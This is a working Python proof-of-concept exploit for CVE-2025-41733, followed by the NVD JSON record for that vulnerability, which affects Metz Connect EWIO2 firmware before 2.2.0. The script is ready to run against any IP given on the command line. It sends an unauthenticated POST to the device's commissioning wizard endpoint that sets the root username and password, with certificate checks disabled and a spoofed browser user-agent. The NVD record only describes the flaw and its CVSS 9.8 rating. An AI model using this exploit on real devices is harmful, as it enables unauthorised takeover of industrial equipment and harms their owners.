CVE-2025-41733

import requests import sys # CVE-2025-41733 PoC - Unauthenticated Root Credential Setting # Target: Devices with vulnerable commissioning wizard def exploit(target_ip, target_port=443): """ Exploit for CVE-2025-41733 This PoC demonstrates setting root credentials without authentication """ url = f"https://{target_ip}:{target_port}/api/commissioning/wizard" # Malicious payload to set root credentials payload = { "action": "set_credentials", "username": "root", "password": "P@ssw0rd123!", "confirm_password": "P@ssw0rd123!", "device_initialized": False } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Sending malicious POST request...") response = requests.post(url, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] SUCCESS: Root credentials may have been set") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed: Status code {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit(target, port)

{"cve": {"id": "CVE-2025-41733", "sourceIdentifier": "[email protected]", "published": "2025-11-18T11:15:46.700", "lastModified": "2025-11-21T19:14:52.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The commissioning wizard on the affected devices does not validate if the device is already initialized. An unauthenticated remote attacker can construct POST requests to set root credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-305"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "7013D45A-B3DD-4110-A0FF-D0C01B859A37"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m:-:*:*:*:*:*:*:*", "matchCriteriaId": "892DDE15-8FE1-4D57-BCB6-5DFAC1F6826C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "05FE24BB-6605-444F-ACFF-D2FD2B70C05E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "8A515C34-A698-47EF-B542-EAA491AE6CBA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "DD9B7323-4C67-4DAC-905F-DDE5D6BD9D80"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "C7E4CCBC-35EE-4683-A039-55ABEE27E809"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-097", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}